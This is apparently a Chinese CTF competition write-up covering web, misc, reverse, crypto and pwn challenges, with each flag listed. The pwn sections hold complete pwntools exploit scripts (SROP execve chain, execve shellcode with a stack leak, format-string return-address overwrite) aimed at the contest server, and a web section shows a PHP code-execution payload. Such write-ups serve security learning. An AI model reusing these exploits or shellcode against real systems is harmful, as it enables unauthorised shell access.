Web
svn泄露,使用SVN泄露的漏洞利用工具dvcs-ripper即可恢复flag文件

flag值:flag{5674938f-803d-4c41-8f84-a77f5164bb4f}
web 2 admin
扫目录发现两个目录,admin和login

根据报错页面发现是springboot Thymeleaf 模板注入
找到一篇文章写的很好,利用文章给出的payload打,注意需要在admin目录请求且需要对特殊字符url编码下
1
| https://www.freebuf.com/articles/network/250026.html
|
payload如下:

flag值:flag{1a196391-e1ca-403c-9451-a34616c460e7}
web 4 如此多的FLAG
进入之后是一个登陆界面,账户默认admin,登录框爆破得到密码,登陆是一个假的flag

查看源码发现提示F1aag.php,访问F1aag.php,源码里提示cookie,刷新在cookie里看到FFLL4g.php,访问

这里有三层绕过,我们详细分析一下
第一层:要求大于9999且不能为数字,用10000a绕过
第二层:传入的字符的md5值与它本身弱相等,利用0e特性绕过
第三层:最关键的一层,网上找到相似的题型,攻防世界的一道题,参考文章
1
| https://www.cnblogs.com/zhengna/p/13964630.html
|
按照文章所说,利用以下payload执行ls命令
1
| base_convert(1751504350,10,36)(base_convert(784,10,36))
|

得到当前目录所有文件
1
| F1aaj.php FFLL.php FFLLLLLLLLLLLaGGGGG.php FLLL4g.php Flaaj.html index.php login.php logout.php logout.php
|
直接访问FFLLLLLLLLLLLaGGGGG.php页面即可得到flag
flag值:flag{51efc7cd-d816-49e7-86c6-bcd801107609}
Misc
misc 1 信息安全大赛的通知
打开后是一个文档,直接搜索flag可以看到有隐藏的文字

改变一下颜色就能看到完整flag

flag值:flag{HNCTF9090AS9nbg87600hn77hn88}
misc 2 编码转换
打开文本有三个编码
第一个braikfuck解码,得到第一段flag

第二个js代码,直接放浏览器就能得到第二段flag

第三个ook解码,得到最后一段flag

flag值:flag{ab71cda1b495e13b3f21f6fd50221978}
misc 4 coding_analyse
一眼html实体编码,解码

剩下依次先逆序,再解16进制,base64,凯撒,得到flag


flag值:flag{HNCTFbs345680967709b5}
Reverse
reverse 2 机器猫
首先使用pyinstxtractor工具将2.exe反编译出pyc文件

找和exe文件名相同的文件,后缀加上pyc,再补上pyc文件头

之后再使用uncompyle6工具将pyc反编译为py文件

打开末尾有一串base64编码,解码
1
| fVJXNjE0ODBpM2RrZmNSVzYxNDgwaTNka01BSlVPe25oc20=
|


先倒序,然后随波逐流一把梭,得到flag

flag值:flag{HNCTFdw3b08416PKvydw3b08416PK}
Crypto
crypto 1 不小心
网上找到原题 [河北银行 2022 CTF] 手抖的小明,文章链接如下
直接运行把flag头换一下,得到flag
flag值: flag{78ada113e709fdf12a5aa4aa5dd62e33}
Pwn
pwn 1 ASM
已经给了 /bin/sh
字符串的地址,通过 ret 指令返回到 read 函数,使用 read 函数来读取数据到栈上。在调用 read 函数时,确保栈指针 rsp 指向我们构造的 Sigreturn Frame。当 read 函数返回时,栈指针会指向 Sigreturn Frame,并且 rax 寄存器已经被设置为 0xf,触发 sigreturn 系统调用。当 sigreturn 系统调用被触发时,系统会根据我们构造的 Sigreturn Frame 恢复寄存器状态,并执行 execve 系统调用。从而获取系统权限
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| from pwn import * from LibcSearcher import *
connection = remote('101.200.58.4', 10001)
binary = ELF('./asm')
context(log_level='debug', os='linux', arch='amd64')
read_func = 0x000000000040101b payload_part1 = p64(read_func)
xor_eax_ecx_gadget = 0x40103a xor_rax_rcx_gadget = 0x401039 mov_rcx_xor_gadget = 0x401034 ret_gadget = 0x000000000040102f syscall_gadget = 0x40102d
p1_gadget = 0x401024 binary_path = 0x40200A
sigreturn_frame = SigreturnFrame() sigreturn_frame.rax = 0x3b sigreturn_frame.rdi = binary_path sigreturn_frame.rsi = 0 sigreturn_frame.rdx = 0 sigreturn_frame.rsp = 0x402050 sigreturn_frame.rip = syscall_gadget
payload = p64(0x000040101B) * 2 + bytes(sigreturn_frame) connection.sendafter(b'Hello Pwn', payload)
sleep(1) connection.send(p64(syscall_gadget) + p8(0) * 7)
connection.interactive()
|
flag值:flag{354884b7-235d-4281-a5e6-742ef82aeb0f}
pwn 2 ret
利用栈溢出漏洞,我们可以覆盖函数的返回地址,使其指向我们写入的shellcode。利用格式化字符串漏洞泄漏栈地址,从而计算出返回地址的位置。将shellcode写入内存,并确保返回地址被覆盖为shellcode的地址。当函数返回时,程序将跳转到我们写入的shellcode,执行 /bin/sh,从而获取系统权限
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
|
from pwn import * import time import numpy as np
local_binary = './ret'
elf_binary = ELF(local_binary) libc_binary = ELF('libc.so.6')
context.log_level = 'debug' context.arch = elf_binary.arch context.terminal = ['tmux', 'neww']
rce_offsets_16 = [0x45216, 0x4526a, 0xf02a4, 0xf1147] rce_offsets_18 = [0x4f2c5, 0x4f322, 0x10a38c] realloc_offsets_16 = [0x2, 0x4, 0x6, 0xB, 0xC, 0xD] realloc_offsets_18 = [0x2, 0x4, 0x6, 0x8, 0x9, 0xa]
arae_offset_16 = 0x3c4b78 arae_offset_18 = 0x3ebca0
newline_char = "\n" send_data = lambda data: io.send(data) send_after = lambda delim, data: io.sendafter(delim, data) send_line = lambda data: io.sendline(data) send_line_after = lambda delim, data: io.sendlineafter(delim, data) receive_data = lambda numb=4096: io.recv(numb) receive_until = lambda delims, drop=True: io.recvuntil(delims, drop) unpack_u32 = lambda data: u32(data.ljust(4, b'\x00')) unpack_u64 = lambda data: u64(data.ljust(8, b'\x00')) get_qword = lambda data: (~np.uint64(data) + 1) get_dword = lambda data: (~np.uint32(data) + 1) log_address = lambda tag, addr: io.info(tag + '==>' + ': {:#x}'.format(addr)) interactive_mode = lambda: io.interactive()
is_debug_mode = 0 if is_debug_mode: io = process(local_binary) else: io = remote('101.200.58.4', 10004)
libc = elf_binary.libc
def debug(cmd='''b *0x400863'''): if is_debug_mode: gdb.attach(io, cmd) pause()
debug()
receive_until('hello,What do you want to ask?\n') send_data('%8$p')
stack_address = int(receive_data(14), 16) print(hex(stack_address))
return_address = stack_address - 0x90 print(hex(return_address))
shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x5e\xb0\x3b\x0f\x05'
receive_until('luck number\n') send_data(shellcode + b'a' * (7 + 0x68) + p64(return_address))
interactive_mode()
|
flag值:flag{42dbb41a-3a3a-4f92-8066-034b4f0085d5}
pwn 3 normal pwn
通过观察栈帧结构,我们可以推测出栈指针(SP)大致相当于基指针(RBP)。进一步分析可以发现,SP指向的位置可以直接用来构造“踏板”,即通过两次 printf 调用来修改返回地址。此外,程序中存在一个后门函数,因此我们无需担心写入地址过大需要多次写入的问题,然后直接一把梭
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97
|
from pwn import * import time import numpy as np
local_binary = './pfdata1'
elf_binary = ELF(local_binary) libc_binary = ELF('libc-2.27.so')
context.log_level = 'debug' context.arch = elf_binary.arch context.terminal = ['tmux', 'neww']
rce_offsets_16 = [0x45216, 0x4526a, 0xf02a4, 0xf1147] rce_offsets_18 = [0x4f2c5, 0x4f322, 0x10a38c] realloc_offsets_16 = [0x2, 0x4, 0x6, 0xB, 0xC, 0xD] realloc_offsets_18 = [0x2, 0x4, 0x6, 0x8, 0x9, 0xa]
arae_offset_16 = 0x3c4b78 arae_offset_18 = 0x3ebca0
newline_char = "\n" send_data = lambda data: io.send(data) send_after = lambda delim, data: io.sendafter(delim, data) send_line = lambda data: io.sendline(data) send_line_after = lambda delim, data: io.sendlineafter(delim, data) receive_data = lambda numb=4096: io.recv(numb) receive_until = lambda delims, drop=True: io.recvuntil(delims, drop) unpack_u32 = lambda data: u32(data.ljust(4, b'\x00')) unpack_u64 = lambda data: u64(data.ljust(8, b'\x00')) get_qword = lambda data: (~np.uint64(data) + 1) get_dword = lambda data: (~np.uint32(data) + 1) log_address = lambda tag, addr: io.info(tag + '==>' + ': {:#x}'.format(addr)) interactive_mode = lambda: io.interactive()
is_debug_mode = 3
if is_debug_mode == 1: io = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", local_binary]) elif is_debug_mode == 0: io = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu", local_binary]) else: io = remote('101.200.58.4', 5555)
def debug(cmd=''): if is_debug_mode: gdb.attach(io, cmd) pause()
def menu_select(choice): receive_until(' choice:') send_line(str(choice))
def add(index, size): menu_select(97) receive_until(':') send_line(str(index)) receive_until(':') send_line(str(size))
def edit(index, content): menu_select(101) receive_until(':') send_line(str(index)) receive_until(':') send_data(content)
def show(index): menu_select(115) receive_until(':') send_line(str(index))
add(0, 0x400) add(1, 0x400)
edit(0, '%8$p') show(0)
receive_until('0x') stack_address = int(receive_data(10), 16) print(hex(stack_address))
stack_low_16 = stack_address & 0xffff print(hex(stack_low_16))
stack_offset = stack_low_16 - 0x20 + 8 tmp = stack_offset
edit(0, '%' + str(tmp) + 'c%8$hn') show(0)
edit(0, '%' + str(0x00D40) + 'c%12$hn') show(0)
interactive_mode()
|
flag:flag{252ef11b-3721-436d-b41b-8e86808d27f1}